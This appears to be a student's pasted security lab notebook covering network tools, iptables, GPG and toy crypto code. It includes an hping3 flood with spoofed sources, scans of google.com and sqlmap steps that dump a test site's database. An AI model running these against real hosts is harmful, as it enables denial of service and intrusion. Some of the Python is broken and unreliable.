Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- https://pastebin.com/yxpdbQwP
- Ifconfig
- ************************************************************************
- whois 192.168.39.187
- A Whois server is set-up by an ICANN accredited registrar to acquire up-to-date information about domains that are registered within it. Every ICANN registrar is mandated to maintain a Whois server according to the ICANN agreement.
- ***************************************************************************
- dig www.google.com OR dig google.com +short
- domain information groper
- It performs DNS lookups
- dig provides a number of query options which affect the way in which lookups are made and the results displayed. Some of these set or reset flag bits in the query header, some determine which sections of the answer get printed, and others determine the timeout and retry strategies
- dig 192.168.39.187
- ****************************************************************************
- traceroute www.google.com
- traceroute prints the route that packets take to a network host.
- https://www.computerhope.com/unix/utracero.htm
- **************************************************************************
- nslookup google.com
- The nslookup command is used to query Internet name servers interactively for information.
- By default, nslookup will translate a domain name to an IP address and vice versa
- https://www.computerhope.com/unix/unslooku.htm
- **************************************************************************
- sudo netstat -plnt
- netstat -r
- netstat -i
- netstat -a | grep -e unix -e ESTABLISHED
- netstat -a | grep -e udp -e ESTABLISHED
- netstat -a | grep -c -e tcp -e ESTABLISHED
- sudo netstat -plnt | grep 80
- network statistics, the netstat command is a command found in almost all command line environments that allow you to view the statistics of the network.
- netstat ("network statistics") is a command-line tool that displays network connections (both incoming and outgoing), routing tables, and a number of network interface
- **************************************************************************
- Find ves public ip address? -
- dig ves.ac.in
- **************************************************************************
- sudo nmap -v -Pn -O 192.168.45.151
- nmap ("Network Mapper") is an open source tool for network exploration and security auditing. It was designed to rapidly scan large networks,
- https://www.unixmen.com/10-practical-examples-linux-nmap-command/
- nmap google.com
- sudo nmap -O google.com
- sudo nmap -sX google.com
- #######################################
- hping
- sudo hping3 192.168.37.56
- sudo hping3 -c 10000 --flood --rand-source 192.168.37.56
- sudo hping3 -c 10 192.168.36.193
- sudo hping3 -c 10 -d 120 192.168.36.193
- sudo hping3 -1 -c 10 -a 192.168.36.193 192.168.37.56
- The -V is for a verbose output
- The -c command is essentially the number of packets you want to send to the particular target. In this case, 1000 packets
- The -d command allows you to choose the size of a packet. For this example, 100
- To specify the type of packet, we need to add -S which is a syn packet
- After this, the -p command specifies the port, so the port 21 in this case, the FTP port.
- You then type in the command –flood
- -a Spoofs the source address
- Then add the ip which you need to spoof
- You then add the address which you need to send it to.
- https://hsploit.com/hping3-syn-flooding-icmp-flooding-land-attacks/
- #######################################
- firewall using Iptables
- *************list rules
- iptables -L
- *****block ping request (add rule)
- $ sudo iptables -A INPUT -p icmp --icmp-type echo-request -j REJECT
- ********unblock ping request (delete rule)
- $ sudo iptables -D INPUT -p icmp --icmp-type echo-request -j REJECT
- ***********block websites
- iptables -A OUTPUT -p tcp -m string --string "sitename.com" --algo kmp -j REJECT
- ***********unblock websites
- iptables -D OUTPUT -p tcp -m string --string "sitename.com" --algo kmp -j REJECT
- *******Filtering packets based on source
- sudo iptables -A INPUT -s 192.168.1.3 -j DROP
- sudo iptables -A INPUT -s 192.168.1.3 -j ACCEPT
- https://www.hostinger.in/tutorials/iptables-tutorial
- Block Access To Outgoing IP Address
- The following rule will block ip address 202.54.1.22 from making any outgoing connection:
- iptables -A OUTPUT -d 202.54.1.22 -j DROP
- ****************************************************************************
- Wireshark
- Install
- sudo add-apt-repository ppa:wireshark-dev/stable
- sudo apt-get update
- sudo apt-get install wireshark
- $ sudo dpkg-reconfigure wireshark-common
- $ sudo usermod -a -G wireshark {user-name}
- $ newgrp wireshark
- remove
- sudo apt-get remove --autoremove wireshark
- sudo apt-get remove --autoremove wireshark wireshark-*
- ***************************************************************************
- GPG
- {https://www.digitalocean.com/community/tutorials/how-to-use-gpg-to-encrypt-and-sign-messages}
- sudo apt-get update
- sudo apt-get install gnupg
- gpg --gen-key
- gpg --output ~/revocation.crt --gen-revoke 2016.stephen.grinder@ves.ac.in
- chmod 600 ~/revocation.crt
- Listing all generated keys:
- gpg --list-secret-keys
- Send your public key as a file to the recipient:
- gpg -- armor --output mypubkey.gpg export 2016.stephen.grinder@ves.ac.in--
- {gpg --output ~/mygpg.key --armor --export your_email@address.com}
- gpg mypubkey.gpg
- Friend sends his/her public key to you:
- gpg --import mypubkey.gpg
- {gpg --import name_of_pub_key_file}
- encryption:
- gpg --encrypt --sign --armor -r 2016.stephen.grinder@ves.ac.in abc.txt
- Decryption:
- gpg abc.txt.asc
- Installing GPG
- lab308-3@Shubham:~$ sudo apt-get update
- [sudo] password for lab308-3:
- Hit:1 http://ppa.launchpad.net/certbot/certbot/ubuntu xenial InRelease Hit:2 http://security.ubuntu.com/ubuntu xenial-security InRelease Hit:3 http://in.archive.ubuntu.com/ubuntu xenial InRelease
- Hit:4 http://ppa.launchpad.net/danielrichter2007/grub-customizer/ubuntu xenial InRelease Hit:5 http://in.archive.ubuntu.com/ubuntu xenial-updates InRelease
- Hit:6 http://in.archive.ubuntu.com/ubuntu xenial-backports InRelease Hit:7 http://ppa.launchpad.net/gns3/ppa/ubuntu xenial InRelease
- Hit:8 http://ppa.launchpad.net/otto-kesselgulasch/gimp/ubuntu xenial InRelease Reading package lists... Done
- lab308-3@Shubham:~$ sudo apt-get install gnupg
- Reading package lists... Done
- Building dependency tree
- Reading state information... Done
- gnupg is already the newest version (1.4.20-1ubuntu3.3).
- 0 upgraded, 0 newly installed, 0 to remove and 141 not upgraded.
- lab308-3@Shubham:~$ gpg --gen-key
- gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
- This is free software: you are free to change and redistribute it.
- There is NO WARRANTY, to the extent permitted by law.
- Key Generation
- lab308-3@Shubham:~$ gpg --gen-key
- gpg (GnuPG) 1.4.20; Copyright (C) 2015 Free Software Foundation, Inc.
- This is free software: you are free to change and redistribute it.
- There is NO WARRANTY, to the extent permitted by law.
- Please select what kind of key you want:
- (1) RSA and RSA (default)
- (2) DSA and Elgamal
- (3) DSA (sign only)
- (4) RSA (sign only)
- Your selection? 1
- RSA keys may be between 1024 and 4096 bits long.
- What keysize do you want? (2048) 4096
- Requested keysize is 4096 bits
- Please specify how long the key should be valid.
- 0 = key does not expire
- <n> = key expires in n days
- <n>w = key expires in n weeks
- <n>m = key expires in n months
- <n>y = key expires in n years
- Key is valid for? (0) 1y
- Key expires at Tuesday 17 March 2020 08:41:50 AM IST
- Is this correct? (y/N) y
- You need a user ID to identify your key; the software constructs the user ID from the Real Name, Comment and Email Address in this form:
- "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>"
- Real name: Stephen Grinder
- Email address: 2016.stephen.grinder@ves.ac.in
- Comment: Stephen
- You selected this USER-ID:
- "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
- Change (N)ame, (C)omment, (E)mail or (O)kay/(Q)uit? O
- You need a Passphrase to protect your secret key.
- We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy.
- Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 203 more bytes)
- .........+++++
- Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 11 more bytes)
- .........+++++
- We need to generate a lot of random bytes. It is a good idea to perform some other action (type on the keyboard, move the mouse, utilize the disks) during the prime generation; this gives the random number generator a better chance to gain enough entropy.
- Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 178 more bytes) .+++++
- Not enough random bytes available. Please do some other work to give the OS a chance to collect more entropy! (Need 243 more bytes)
- .......+++++
- gpg: /home/lab308-3/.gnupg/trustdb.gpg: trustdb created
- gpg: key 7EDF0433 marked as ultimately trusted
- public and secret key created and signed.
- gpg: checking the trustdb
- gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model
- gpg: depth: 0 valid: 1 signed: 0 trust: 0-, 0q, 0n, 0m, 0f, 1u
- gpg: next trustdb check due at 2020-03-17
- pub 4096R/7EDF0433 2019-03-18 [expires: 2020-03-17]
- Key fingerprint = 8A72 FEAC 9855 2574 4ED5 0A91 D06F 2B3F 7EDF 0433
- uid Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>
- sub 4096R/8D3D2327 2019-03-18 [expires: 2020-03-17]
- Create a Revocation Certificate
- lab308-3@Shubham:~$ gpg --output ~/revocation.crt --gen-revoke 2016.stephen.grinder@ves.ac.in
- sec 4096R/7EDF0433 2019-03-18 Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>
- Create a revocation certificate for this key? (y/N) y
- Please select the reason for the revocation:
- 0 = No reason specified
- 1 = Key has been compromised
- 2 = Key is superseded
- 3 = Key is no longer used
- Q = Cancel
- (Probably you want to select 1 here)
- Your decision? 0
- Enter an optional description; end it with an empty line:
- >
- Reason for revocation: No reason specified
- (No description given)
- Is this okay? (y/N) y
- You need a passphrase to unlock the secret key for
- user: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
- 4096-bit RSA key, ID 7EDF0433, created 2019-03-18
- ASCII armored output forced.
- Revocation certificate created.
- Please move it to a medium which you can hide away; if Mallory gets access to this certificate he can use it to make your key unusable. It is smart to print this certificate and store it away, just in case
- your media become unreadable. But have some caution: The print system of your machine might store the data and make it available to others!
- lab308-3@Shubham:~$ chmod 600 ~/revocation.crt
- Listing all generated keys
- stephen@stephen:~$ gpg --list-secret-keys
- /home/stephen/.gnupg/secring.gpg
- -----------------------------
- sec 2048R/84C7D581 2019-03-31 [expires: 2020-03-30]
- uid Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>
- ssb 2048R/46ECE634 2019-03-31
- Send your public key as a file to the recipient
- stephen@stephen:~$ gpg -- armor --output mypubkey.gpg export 2016.stephen.grinder@ves.ac.in--
- stephen@stephen:~$ gpg mypubkey.gpg
- pub 2048R/84C7D581 2019-03-31 Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in> sub 2048R/46ECE634 2019-03-31 [expires: 2020-03-30]
- Friend sends his/her public key to you
- stephen@stephen:~$ gpg --import mypubkey.gpg
- gpg: key 84C7D581: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>" not changed
- gpg: Total number processed: 1
- gpg: unchanged: 1
- Encryption
- stephen@stephen:~$ gpg --encrypt --sign --armor -r 2016.stephen.grinder@ves.ac.in abc.txt
- You need a passphrase to unlock the secret key for
- user: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
- 2048-bit RSA key, ID 84C7D581, created 2019-03-31
- Decryption
- stephen@stephen:~$ gpg abc.txt.asc
- You need a passphrase to unlock the secret key for
- user: "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
- 2048-bit RSA key, ID 46ECE634, created 2019-03-31 (main key ID 84C7D581)
- gpg: encrypted with 2048-bit RSA key, ID 46ECE634, created 2019-03-31 "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
- File `abc.txt' exists. Overwrite? (y/N) y
- gpg: Signature made Sunday 31 March 2019 07:52:23 PM IST using RSA key ID 84C7D581
- gpg: Good signature from "Stephen Grinder (Stephen) <2016.stephen.grinder@ves.ac.in>"
- ****************************************************************************
- SQL INJECTION
- sudo apt-get install sqlmap
- Step 1: List information about the existing databases
- sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 --dbs
- Step 2: List information about Tables present in a particular Database
- sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --tables
- Step 3: List information about the columns of a particular table
- sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists --columns
- Step 4: Dump the data from the columns
- sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart -T artists -C aname --dump
- *******************************************************************
- XSS
- https://xss-game.appspot.com/
- ****************************************************************
- Ettercap
- https://www.hackers-arise.com/single-post/2017/08/28/MiTM-Attack-with-Ettercap
- ###########################################
- ////////////////////////////deffi hellman 1
- **********************server.py
- import random
- import time
- import socket
- def select_private_keys(p):
- a = random.randrange(1,p)
- return a
- def primitive_root(g, p):
- residual_set = []
- for i in range(1,p):
- residual_set.append(i)
- # print(residual_set)
- temp_set = []
- for j in range(1,p):
- temp = pow(g, j, p)
- temp_set.append(temp)
- temp_set.sort()
- if temp_set != residual_set:
- return False
- else:
- return True
- if _name_ == '_main_':
- host = socket.gethostname()
- port = 5000
- userA_socket = socket.socket()
- userA_socket.bind((host, port))
- userA_socket.listen(2)
- conn, address = userA_socket.accept()
- print("connected to : ",str(address))
- g = int(input("Enter g : "))
- p = int(input("Enter p : "))
- if(primitive_root(g, p)):
- print(g, " is primitive root of ", p)
- conn.send(str(g).encode())
- conn.send(str(p).encode())
- print("g and p sent")
- time.sleep(2)
- x = select_private_keys(p)
- r1 = pow(g, x, p)
- conn.send(str(r1).encode())
- print("r1 sent")
- time.sleep(2)
- r2 = int(conn.recv(1024).decode())
- print("r2 received")
- time.sleep(2)
- k1 = pow(r2, x, p)
- conn.send(str(k1).encode())
- print("k1 sent")
- time.sleep(2)
- k2 = int(conn.recv(1024).decode())
- print("k2 received")
- time.sleep(2)
- if k1 == k2:
- print("Both are equal")
- else:
- print("Both are not equal")
- conn.close()
- else:
- print(g, " is not primitive root of ", p)
- conn.close()
- *************client.py
- import random
- import time
- import socket
- def select_private_keys(p):
- a = random.randrange(1,p)
- return a
- if _name_ == '_main_':
- host = socket.gethostname()
- port = 5000
- userB_socket = socket.socket()
- userB_socket.connect((host, port))
- while True:
- g = userB_socket.recv(1024).decode()
- if not g:
- break
- g = int(g)
- p = int(userB_socket.recv(1024).decode())
- print("g and p received")
- time.sleep(2)
- y = select_private_keys(p)
- r2 = pow(g, y, p)
- r1 = int(userB_socket.recv(1024).decode())
- print("r1 received")
- time.sleep(2)
- userB_socket.send(str(r2).encode())
- print("r2 sent")
- time.sleep(2)
- k1 = int(userB_socket.recv(1024).decode())
- print("k1 received")
- time.sleep(2)
- k2 = pow(r1, y, p)
- userB_socket.send(str(k2).encode())
- print("k2 sent")
- time.sleep(2)
- if k1 == k2:
- print("Both are equal")
- else:
- print("Both are not equal")
- userB_socket.close()
- #############################################
- ////////////////////////////DEFFI HELLMAN 2
- ******************server.py
- import random
- import socket
- def send_R2_receive_R1(R2):
- try:
- host = 'localhost'
- port = 6766
- s = socket.socket()
- s.bind((host, port))
- s.listen(1)
- c, addr = s.accept()
- data = c.recv(1024)
- data1 = str(R2)
- c.send(data1.encode())
- return int(str(data.decode()))
- finally:
- c.close()
- def check_primitive(g,p):
- another_set=set()
- for e in range(1,p):
- another_set.add(pow(g,e,p))
- for i in range(1,p):
- if i not in another_set:
- return False
- return True
- if __name__ == '__main__':
- g, p=int(input("Enter g:")), int(input("Enter p:"))
- if not check_primitive(g,p):
- print(g," is not primitive root of ",p,sep="")
- else:
- #x = random.randint(1,p)
- y = random.randint(1,p)
- #R1 = pow(g,x,p)
- R2 = pow(g,y,p)
- print("Found R2 =",R2)
- R1 = send_R2_receive_R1(R2)
- print("Received R1 =",R1)
- key = pow(R1,y,p)
- print("Key =",key)
- *************************client .py
- import random
- import socket
- def send_R1_receive_R2(R1):
- host = 'localhost'
- port = 6766
- s = socket.socket()
- s.connect((host, port))
- R1 = str(R1)
- s.send(R1.encode())
- data = s.recv(1024)
- data = data.decode()
- s.close()
- return int(data)
- def check_primitive(g,p):
- another_set=set()
- for e in range(1,p):
- another_set.add(pow(g,e,p))
- for i in range(1,p):
- if i not in another_set:
- return False
- return True
- if __name__ == '__main__':
- g, p=int(input("Enter g:")), int(input("Enter p:"))
- if not check_primitive(g,p):
- print(g," is not primitive root of ",p,sep="")
- else:
- x = random.randint(1,p)
- #y = random.randint(1,p)
- R1 = pow(g,x,p)
- print("Found R1 =",R1)
- #R2 = pow(g,y,p)
- R2 = send_R1_receive_R2(R1)
- print("Received R2 =",R2)
- key = pow(R2,x,p)
- print("Key =",key)
- #############################################
- ///////////////////////////RSA.py 1
- import random
- def gcd(a, b):
- while b != 0:
- a, b = b, a % b
- return a
- def isPrime(num):
- if num is 2:
- return True
- if (num < 2) or (num % 2 is 0):
- return False
- for n in range(3, int(num ** 0.5) + 2,2):
- if num % n == 0:
- return False
- return True
- def multiInverse(e, phi):
- r1 = phi
- r2 = e
- t1 = 0
- t2 = 1
- while r2 is not 0:
- q = r1 // r2
- r = r1 % r2
- t = t1 - (q * t2)
- r1 = r2
- r2 = r
- t1 = t2
- t2 = t
- return t1
- def generateKeyPair(p, q):
- n = p * q
- phi = (p - 1) * (q - 1)
- print("phi=", phi)
- e = random.randrange(1, phi)(1, phi)
- g = gcd(e, phi)
- while g != 1:
- e = random.randrange(1, phi)
- g = gcd(e, phi)
- e1 = multiInverse(e, phi)
- d = e1 % phi
- return ((e, n), (d, n))
- def encrypt(public_key, plain_text):
- key, n = public_key
- cipher = pow(int(plain_text),int(key),int(n))
- return cipher
- def decrypt(private_key, encrypted_text):
- key, n = private_key
- mssg = pow(encrypted_text,key,n)
- return mssg
- if _name_ == '_main_':
- p = int(input("Enter number 1 : "))
- q = int(input("Enter number 2 : "))
- if not ((isPrime(p) and isPrime(q)) and (p != q)):
- raise ValueError("Both should be prime")
- print("Both numbers are prime")
- print("Generating key pairs.........")
- public_key, private_key = generateKeyPair(p, q)
- print("Public key = ", public_key)
- print("Private key = ", private_key)
- plain_text = int(input("Enter text to be encrypted :"))
- encrypted_text = encrypt(public_key, plain_text)
- print("Your encrypted text is :", encrypted_text)
- decrypted_text = decrypt(private_key, encrypted_text)
- print("Decrypted text is :", decrypted_text)
- #############################################
- ////////////////////////////RSA.py 2
- import math
- from sympy import factorint #pip install sympy
- factors=[]
- power=[]
- '''
- def isPrime(p):
- for i in range(2,p//2+1):
- if p%i==0:
- return False
- return True
- def factorize(m):
- i=2
- k=0
- while (i<=m):
- if(isPrime(i)):
- if m%i==0:
- factors.append(i)
- power.append(0)
- while m%i==0:
- power[k]+=1
- m=m//i
- k+=1
- i+=1
- print(factors)
- print(power)
- '''
- def calc_phi():
- phi=1
- for i in range(0,len(factors)):
- if power[i]>1:
- phi*=(pow(factors[i], power[i]) - pow(factors[i], power[i]-1))
- elif power[i]==1:
- phi*=(factors[i]-1)
- return phi
- def mul_inv(e,n):
- if(math.gcd(e,phi)==1):
- r1=phi
- r2=e
- t1=0
- t2=1
- while(r2!=0):
- q=r1//r2
- r=r1%r2
- t=t1-q*t2
- r1=r2
- r2=r
- t1=t2
- t2=t
- if t1>0:
- return t1
- else:
- return t1%phi
- else:
- return -1
- def encrypt(s,e,n):
- c=pow(s,e,n)
- return c
- def decrypt(c,e,n):
- p=pow(c,d,n)
- return p
- print("RSA key generation:")
- print("1. Encryption with public key")
- print("2. Encryption with private key(Digital Signature)")
- ch=int(input("Enter your choice:"))
- n=int(input("Enter n:"))
- print("n:",n)
- #factorize(n)
- fact=factorint(n)
- factors=list(fact.keys())
- power=list(fact.values())
- print(factors)
- print(power)
- phi=calc_phi()
- d=-1
- while d==-1:
- e=int(input("Enter e:"))
- print("e:",e)
- d=mul_inv(e,n)
- if d==-1:
- print("Multiplicative inverse doesn't exist. Try again.")
- print("d:",d)
- if ch==1:
- print("Public Key: (", n, ",", e, ")")
- print("Private Key: (", n, ",", d, ")")
- else:
- print("Private Key: (", n, ",", e, ")")
- print("Public Key: (", n, ",", d, ")")
- s=int(input("Enter the plain text:"))
- c=encrypt(s,e,n)
- print("encrypted text : ",c)
- p=decrypt(c,e,n)
- print("decrypted text : ",p)
- ####################################
- /////////////////////MD5 Number 5
- import hashlib
- import time
- import os
- import math
- md=open("hii.txt","r")
- data=md.read()
- print('Length of input data is :',len(data))
- start = time.clock()
- result = hashlib.md5(data.encode())
- print(result.hexdigest())
- a=len(result.hexdigest())
- end = time.clock()
- print('length of encoded data using md5',a)
- print("time required :",end-start)
- ///////////////////SHA
- import hashlib
- import time
- # initializing string
- str1 = "Hi"
- input_length=len(str1)
- start_time=time.time()
- # then sending to SHA1()
- result = hashlib.sha1(str1.encode())
- print("The hexadecimal equivalent of SHA1 is : ")
- print(result.hexdigest())
- end_time=time.time()
- print('length of input string',input_length)
- print('length of output string',result.digest_size)
- print('Start time =',start_time)
- print('End_time=',end_time)
- print('Total time required =',(end_time-start_time))
- *************************************************************
- Product cipher
- k = [3,1,4,5,2]
- ki = [2,5,1,3,4]
- kc = 3
- alpha = 'abcdefghijklmnopqrstuvwxyz'
- msg = input("Enter the message: ")
- msg = "".join(msg.split())
- enc = ""
- dec = ""
- ##while len(msg)%5 != 0 :
- ## msg = msg + "x"
- for i in msg :
- enc = enc + alpha[(alpha.find(i)+kc)%26]
- print("After encryption with Caesar Cipher:",enc)
- msg = enc
- enc = ""
- mat = [["x" for i in range(5)] for j in range(int(len(msg)/5))]
- print("Transposition Matrix: ")
- for i in range(int(len(msg)/5)) :
- for j in range(5):
- print(msg[i*5+j], end=" ")
- print()
- l = 0
- for i in range(5) :
- for j in range(int(len(msg)/5)) :
- if j*5+k[i]-1 < len(msg) :
- mat[j][i] = msg[j*5+k[i]-1]
- enc = ""
- for i in range(5) :
- for j in range(int(len(msg)/5)) :
- enc = enc + mat[j][i]
- print("Final Encrypted Message:",enc.upper())
- for i in range(5) :
- for j in range(int(len(enc)/5)) :
- mat[j][i] = enc[i*(int(len(enc)/5))+j]
- enc= ""
- for i in range(int(len(msg)/5)) :
- for j in range(5) :
- enc = enc + mat[i][ki[j]-1]
- for i in enc :
- dec = dec + alpha[(alpha.find(i)-kc)%26]
- print("Decrypted Message:",dec)
- ///////////////////////////////Caesar Cipher:
- # encrypt and decrypt a text using a simple algorithm of offsetting the letters
- key = 'abcdefghijklmnopqrstuvwxyz'
- def encrypt(n, plaintext):
- """Encrypt the string and return the ciphertext"""
- result = ''
- for l in plaintext.lower():
- try:
- i = (key.index(l) + n) % 26
- result += key[i]
- except ValueError:
- result += l
- return result.lower()
- def decrypt(n, ciphertext):
- """Decrypt the string and return the plaintext"""
- result = ''
- for l in ciphertext:
- try:
- i = (key.index(l) - n) % 26
- result += key[i]
- except ValueError:
- result += l
- return result
- text = "I am coding Python on SoloLearn!"
- offset = 5
- encrypted = encrypt(offset, text)
- print('Encrypted:', encrypted)
- decrypted = decrypt(offset, encrypted)
- print('Decrypted:', decrypted)
- //////////////////////////////Autokey substitution cipher
- import math
- import random
- def subscipher_encrypt(msg,key):
- msg = "".join(msg.split(' '))
- msg = msg.lower()
- m = list(msg)
- stage1 = [ord(i) - ord('a') for i in m]
- stage2 = [key]
- stage2.extend(stage1[:-1])
- stage3 = [i+j for i,j in zip(stage1,stage2)]
- stage4 = [i%26 for i in stage3]
- stage5 = [chr(i+ord('a')) for i in stage4]
- cipher = "".join(stage5).upper()
- return cipher
- def subscipher_decrypt(cipher,key):
- m = list(cipher)
- stage1 = [ord(i)-ord('A') for i in m]
- stage2 = [(stage1[0]-key)%26]
- for i in range(1,len(m)):
- stage2.append((stage1[i] - stage2[i-1]) % 26)
- stage3 = [chr(i + ord('A')) for i in stage2]
- plain = "".join(stage3)
- return plain
- if __name__ == '__main__':
- message = input("Enter the message : ")
- key = random.randint(50,100)
- ct = subscipher_encrypt(message,key)
- print("encrypted text is : ",ct)
- pt = subscipher_decrypt(ct,key)
- print("Decrypted text is : ",pt)
- //////////////////////Keyless Transposition Cipher
- ''' Keyless Transposition Cipher '''
- import math
- #WORKING
- ''' e.g. message is 'Python' to be transposed
- In keyless trans.n message is split into 2 rows having alternate characters of message
- 1st row --> | P | | T | | O | |
- 2nd row --> | | Y | | H | | N |
- The transposed message will be all characters of 1st row then of the 2nd row
- i.e. --> 'PTOYHN'
- '''
- def encrTrans(m):
- #For storing characters present at even indices
- even = []
- #For storing characters present at odd indices
- odd = []
- for i in range(0,len(m)):
- if(i%2 == 0):
- even.append(m[i])
- else:
- odd.append(m[i])
- tlist = even + odd
- #returning list elements as a single string
- return "".join(tlist)
- def decrTrans(tlist):
- decryptedList = []
- #halflength means till all the characters which were in the 1st row
- halflength = math.ceil(len(tlist)/2)
- #Now we will append characters in decryptedList alternately from 1st half and 2nd half of tlist
- for i in range(0,halflength):
- decryptedList.append(tlist[i])
- if(halflength+i > len(tlist)-1):
- break
- else:
- decryptedList.append(tlist[halflength+i])
- return decryptedList
- if __name__ == '__main__':
- message = input("Enter the message : ")
- #Removing spaces if present in the message
- message = "".join(message.split(' '))
- transposedmsg = encrTrans(message)
- print("Transposed message is : ",transposedmsg)
- decryptedmsg = decrTrans(transposedmsg)
- print("Decrypted message is : ","".join(decryptedmsg))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement